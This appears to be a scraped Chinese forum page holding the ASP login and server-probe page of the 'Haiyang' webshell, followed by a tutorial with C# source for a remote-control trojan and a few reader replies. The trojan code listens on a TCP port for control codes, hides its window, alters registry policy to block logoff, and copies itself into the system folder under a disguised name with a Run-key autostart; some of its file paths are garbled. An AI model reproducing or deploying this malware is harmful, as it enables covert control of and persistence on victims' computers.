<%@ LANGUAGE="VBSCRIPT" codepage ="936" %> <% Option Explicit %> <% '不使用输出缓冲区，直接将运行结果显示在客户端 Response.Buffer = False '声明待检测数组 Dim ObjTotest(26,4) ObjTotest(0,0) = "MSWC.AdRotator" ObjTotest(1,0) = "MSWC.BrowserType" ObjTotest(2,0) = "MSWC.NextLink" ObjTotest(3,0) = "MSWC.Tools" ObjTotest(4,0) = "MSWC.Status" ObjTotest(5,0) = "MSWC.Counters" ObjTotest(6,0) = "IISSample.ContentRotator" ObjTotest(7,0) = "IISSample.PageCounter" ObjTotest(8,0) = "MSWC.PermissionChecker" ObjTotest(9,0) = "Scripting.FileSystemObject" ObjTotest(9,1) = "(FSO 文本文件读写)" ObjTotest(10,0) = "adodb.connection" ObjTotest(10,1) = "(ADO 数据对象)" ObjTotest(11,0) = "SoftArtisans.FileUp" ObjTotest(11,1) = "(SA-FileUp 文件上传)" ObjTotest(12,0) = "SoftArtisans.FileManager" ObjTotest(12,1) = "(SoftArtisans 文件管理)" ObjTotest(13,0) = "LyfUpload.UploadFile" ObjTotest(13,1) = "(刘云峰的文件上传组件)" ObjTotest(14,0) = "Persits.Upload.1" ObjTotest(14,1) = "(ASPUpload 文件上传)" ObjTotest(15,0) = "w3.upload" ObjTotest(15,1) = "(Dimac 文件上传)" ObjTotest(16,0) = "JMail.SmtpMail" ObjTotest(16,1) = "(Dimac JMail 邮件收发)" ObjTotest(17,0) = "CDONTS.NewMail" ObjTotest(17,1) = "(虚拟 SMTP 发信)" ObjTotest(18,0) = "Persits.MailSender" ObjTotest(18,1) = "(ASPemail 发信)" ObjTotest(19,0) = "SMTPsvg.Mailer" ObjTotest(19,1) = "(ASPmail 发信)" ObjTotest(20,0) = "DkQmail.Qmail" ObjTotest(20,1) = "(dkQmail 发信)" ObjTotest(21,0) = "Geocel.Mailer" ObjTotest(21,1) = "(Geocel 发信)" ObjTotest(22,0) = "IISmail.Iismail.1" ObjTotest(22,1) = "(IISmail 发信)" ObjTotest(23,0) = "SmtpMail.SmtpMail.1" ObjTotest(23,1) = "(SmtpMail 发信)" ObjTotest(24,0) = "SoftArtisans.ImageGen" ObjTotest(24,1) = "(SA 的图像读写组件)" ObjTotest(25,0) = "W3Image.Image" ObjTotest(25,1) = "(Dimac 的图像读写组件)" public IsObj,VerObj '检查预查组件支持情况及版本 dim i for i=0 to 25 on error resume next IsObj=false VerObj="" dim TestObj set TestObj=server.CreateObject(ObjTotest(i,0)) If -2147221005 <> Err then '感谢网友iAmFisher的宝贵建议 IsObj = True VerObj = TestObj.version if VerObj="" or isnull(VerObj) then VerObj=TestObj.about end if ObjTotest(i,2)=IsObj ObjTotest(i,3)=VerObj next '检查组件是否被支持及组件版本的子程序 sub ObjTest(strObj) on error resume next IsObj=false VerObj="" dim TestObj set TestObj=server.CreateObject (strObj) If -2147221005 <> Err then '感谢网友iAmFisher的宝贵建议 IsObj = True VerObj = TestObj.version if VerObj="" or isnull(VerObj) then VerObj=TestObj.about end if End sub %> <% '通过更改下面的haiyangtop.126.com来改变你的口令值 if trim(request.form("password"))="haiyangtop.126.com" then response.cookies("password")="lcx" response.redirect "list.asp" else %> <%if request.form("password")<>"" then response.write "■你的密码输得不对！请重新输入" end if %> 海阳顶端网木马2003版服务器的有关参数探测-海阳顶端网by lcx

服务器名 <%=Request.ServerVariables("SERVER_NAME")%> 服务器IP <%=Request.ServerVariables("LOCAL_ADDR")%> 服务器端口 <%=Request.ServerVariables("SERVER_PORT")%> 服务器时间 <%=now%> IIS版本 <%=Request.ServerVariables("SERVER_SOFTWARE")%> 脚本超时时间 <%=Server.ScriptTimeout%> 秒 本文件路径 <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%> 服务器CPU数量 <%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个 服务器解译引擎 <%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %> 服务器操作系统 <%=Request.ServerVariables("OS")%>

组件支持情况 <% Dim strClass strClass = Trim(Request.Form("classname")) If "" <> strClass then Response.Write "
您指定的组件的检查结果：" ObjTest(strClass) If Not IsObj then Response.Write "
很遗憾，该服务器不支持 " & strclass & " 组件！" Else Response.Write "
恭喜！该服务器支持 " & strclass & " 组件。该组件版本是：" & VerObj & "" End If Response.Write "
" end if %>
■ IIS自带的ASP组件 <%For i=0 to 10%> <%next%>

组 件 名 称	支持及版本
<%=ObjTotest(i,0) & " " & ObjTotest(i,1)%>	<% If Not ObjTotest(i,2) Then Response.Write "×" Else Response.Write "√ " & left(ObjTotest(i,3),11) & "" End If%>

■ 常见的文件上传和管理组件 <%For i=11 to 15%> <%next%>

组 件 名 称	支持及版本
<%=ObjTotest(i,0) & " " & ObjTotest(i,1)%>	<% If Not ObjTotest(i,2) Then Response.Write "×" Else Response.Write "√ " & left(ObjTotest(i,3),11) & "" End If%>

■ 常见的收发邮件组件 <%For i=16 to 23%> <%next%>

组 件 名 称	支持及版本
<%=ObjTotest(i,0) & " " & ObjTotest(i,1)%>	<% If Not ObjTotest(i,2) Then Response.Write "×" Else Response.Write "√ " & left(ObjTotest(i,3),11) & "" End If%>

■ 图像处理组件 <%For i=24 to 25%> <%next%>

组 件 名 称	支持及版本
<%=ObjTotest(i,0) & " " & ObjTotest(i,1)%>	<% If Not ObjTotest(i,2) Then Response.Write "×" Else Response.Write "√ " & left(ObjTotest(i,3),11) & "" End If%>

其他组件支持情况检测
在下面的输入框中输入你要检测的组件的ProgId或ClassId。 method=post id=form1 name=form1>
ASP脚本解释和运算速度测试
我们让服务器执行50万次“1＋1”的计算，记录其所使用的时间。 " method=post> <% '感谢网际同学录 http://www.5719.net 推荐使用timer函数 '因为只进行50万次计算，所以去掉了是否检测的选项而直接检测 dim t1,t2,lsabc,thetime t1=timer for i=1 to 500000 lsabc= 1 + 1 next t2=timer thetime=cstr(int(( (t2-t1)*10000 )+0.5)/10) %>

服 务 器	完成时间
lcx的电脑（64M塞羊433）	933.6 毫秒
中国频道虚拟主机（2002-08-06 9:29）	610.9 毫秒
西部数码west263主机（2002-08-06 9:29）	357.8 毫秒
商务中国虚拟主机（2002-08-06 9:29）	353.1 毫秒
顶尖科技tonydns主机（2002-10-13 14:19）	303.2 毫秒
您正在使用的这台服务器	<%=thetime%> 毫秒

输入密码：

<%end if%>

asp木马 将就着用吧

前言：

　　因为本程序是木马程序，所以在介绍之前有一些木马构成的基本知识事先说明，因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分，软件部分和具体连接部分组成。这里主要对软件部分介绍，它主要有控制端程序、木马程序（后台服务程序）、木马配制程序组成。控制端用以远程控制服务端的程序；木马程序是潜入服务端内部，获取其操作权限的程序；木马配制程序是设置木马程序的端口号，触发条件，木马名称等，使其在服务端藏的更隐蔽的程序。

　　使用的技术：

　　控制端程序发送控制码控制服务器，服务器后台运行，修改注册表达到控制的目的。技术不是很难的，主要体现C#的网络编程和注册表的修改。

　　控制端开发：

　　控制端向服务器发出一段控制码，服务端（木马程序）收到控制码后，根据控制的要求，完成指定的要求，如果服务器完成工作，返回成功的信息。

　　控制端的开发：

　　控制码的设定你可以自已设定，不需要详解，主要有以下几个难点。

　　1、连接请求

　　使用了.NET类中的 System.Net.Sockets.TcpClient类,

TcpClient(string hostname,int port)
Hostname 是要控制的主机名称，当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
{
//记录操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText("请求连接" +textBox1.Text +"\r");
int port =6678;
try
{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show("服务器不在线!确定是否输入主机名称.");
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
}
}//private void buttion

　　2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应，如果有返回则显示控制成功。

//提供网络访问的数据流
//private NetworkStream stream;
代码如下：
private void button8_Click(object sender, System.EventArgs e)
{
//纪录操作
richTextBox1.AppendText("测试连接" +"\r");
try
{

stream = client.GetStream();
if(stream.CanWrite)
{
//发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数，见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+"\r");
MessageBox.Show(ee.Message);
}
}

　　3、控制生效的代码

private void button9_Click(object sender, System.EventArgs e)
{
//这里是确定要发送的控制码，RadioButton是窗体控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control =="000000")
{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
{
try
{
//记录操作
richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText("服务器未连接1控制无效!" +"\r");
MessageBox.Show("服务器未连接1控制无效!" +"\r");
}
}//else if
}

　　4、线程执行的函数

private void receive()
{
//设置读取数据的空间
byte[] bb = new byte[3];
//读取3个字节,i为实际读取的字节数
int i = stream.Read(bb,0,3);
//转换成字符串，如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);
string ss = System.Text.Encoding.ASCII.GetString(bb);
//hjc为我设置的服务器的返回码 hjc为连接成功，hkz为控制成功
if(ss=="hjc")
{
MessageBox.Show("连接成功");
richTextBox1.AppendText("连接成功");
}
if(ss== "hkz")
{
richTextBox1.AppendText(control +"控制成功"+"\r");
MessageBox.Show(control +"控制成功"+"\r");
}
}

　　服务端的开发：

　　要实现木马服务的程序，主要实现以下几个功能：后台的运行（隐藏技术），控制码的接收与注册表的修改，下面对这三方面做介绍：

　　1．在VC#中，建立一个后台服务程序是很容易的，先建立一个新的C#的Windows应用程序，项目名称自定（不过为了隐藏可使用与系统相近的名称），将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示，并将属性“Windowstate”属性设为Mininized即可，这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置，此函数起初始化的作用，在窗体显示前运行，代码如下：

private void InitializeComponent()
{
//
// Form1
//
//窗体显示的起点和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗体名称
this.Name = "Form1";
//设置属性让它后台运行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}

　　2． 控制代码的接收，必需在服务程序运行开始就启动，所以侦听线程必需在程序初始化中启动，所以放在窗体的构造函数中，代码注解如下：

public Form1() //窗体的构造函数
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//加入你的侦听代码
//端口你可以自已设定,我使用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
listener = new TcpListener(port);
//启动侦听
listener.Start();
//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()
//reControlCode 是线程启动执行的函数，此函数根据接收的控制
//控制码选取合适的注册表修改函数
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函数如下，完整代码见程序
private void reControlCode()
{
//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求
socket = listener.AcceptSocket();
//如果连接成功执行
while (socket.Connected)
{
//接收控制码
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根据控制码执行不同的功能

//修改注册表加入编码
switch (ss)
{
case "jiance"://测试连接,返回测试信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注册表函数,自已定义，见下面分析
UnLogOff();
//返回控制消息
retMessage();
break;

case "zx0100":
//修改注册表函数
UnClose();
//返回控制消息
retMessage();
break;
//重复的case功能与前面一样,略掉
default:
break;
}//case
}//while
} //private void reControlCode

　　3．C#中实现注册表的修改，使用了.NET类库中的System.Microsoft.Win32命令空间，它提供两种类型的类：处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序：使计算机不能注销。在这之前先了解注册表，在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改：

private void UnLogOff()
{
//得到主机的注册表的顶级节点
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//设置一个注册表子键的变量
RegistryKey key1;
try
{
//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键
//registrykey是用户指定的键值，canwrite 为true则可修改，默认为fasle不可改
key1 =
rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
//设置子键的键名，和值
key1.SetValue ("NoLogOff",1);
//关闭打开的子键
key1.Close();
//警告字符串设定
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改！请将它置为0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改！请将它置为0!";
}
catch{}
}
}

　　4．在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下，主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe，同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。

private void moveCC1()
{
try
{
//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
//sourceFileName为要移动的文件名，destFileName为文件的新路径
File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");
}
catch {}
//将新移的木马程序设为自启动.分析和前面一样
try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()

这个行吗？？？

你敢试一试？？

我胆子小

危险.

其实都是用WINAPI来做的
还不如研究一下WIN32汇编 什么都明了了

就是delphi写的